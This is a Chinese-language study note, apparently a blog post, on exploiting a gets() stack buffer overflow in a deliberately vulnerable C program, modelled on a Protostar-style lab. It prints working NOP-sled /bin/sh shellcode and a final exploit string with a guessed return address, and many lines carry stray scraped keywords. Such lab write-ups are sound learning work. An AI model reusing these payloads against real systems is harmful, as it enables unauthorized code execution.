//gets函數不會檢查邊界,會形成溢出 //gcc test.c -o flaw 1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 char buffer[64]; 9 10 gets(buffer); 11}
修改http://shell-storm.org/shellcode/files/shellcode-827.php上的shellcode,讓它適合這個程序 shellcode:"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd8\xfc\xff\xbf\x90\xfc\xff\xbf"
0x1 奇怪的現象:直接cat shellcode | ./flaw 會出現段錯誤(segment fault)。奇怪的是gdb調試的時候,確實執行到了shellcode,理應有一個shell出現啊.在gdb中,shell出現後立馬退出。php
google,看到是gets()函數的緣由。python
要想利用gets函數引發的緩衝區溢出,shellcode中應該要從新打開輸入。(reopen the input)shell
也就是說,我開始找的shellcode恰好對gets函數無效。函數
因而,找了個有從新打開輸入功能的shellcode。見linkgoogle
0x2 奇怪的現象:直接cat shellcode | ./flaw 會出現非法指令(Illegal instruction)。可是用gdb調試的時候,執行完shellcode,就有一個shell出來了.調試
gdb調試程序和直接運行程序時,寄存器的值是不同。code
//打印寄存器的值 int main() { int i; asm("\t movl %%ebx,%0" : "=r"(i)); printf("esp:%x\n",i); return i + 1; }
因此在棧中覆蓋"EIP"值時,是跟寄存器中看到的是不同的.orm
至於怎麼能動態地計算出這個EIP值,如今還沒接觸到。ci
因此,我最終的那個要覆蓋的"EIP"值實際上是有點亂猜的成分.get
最終的exp: "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x08\xfd\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
link:
https://www.mattandreko.com/2011/12/17/exploit-exercises-protostar-stack-5/
http://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d
http://www.exploit-db.com/exploits/13357/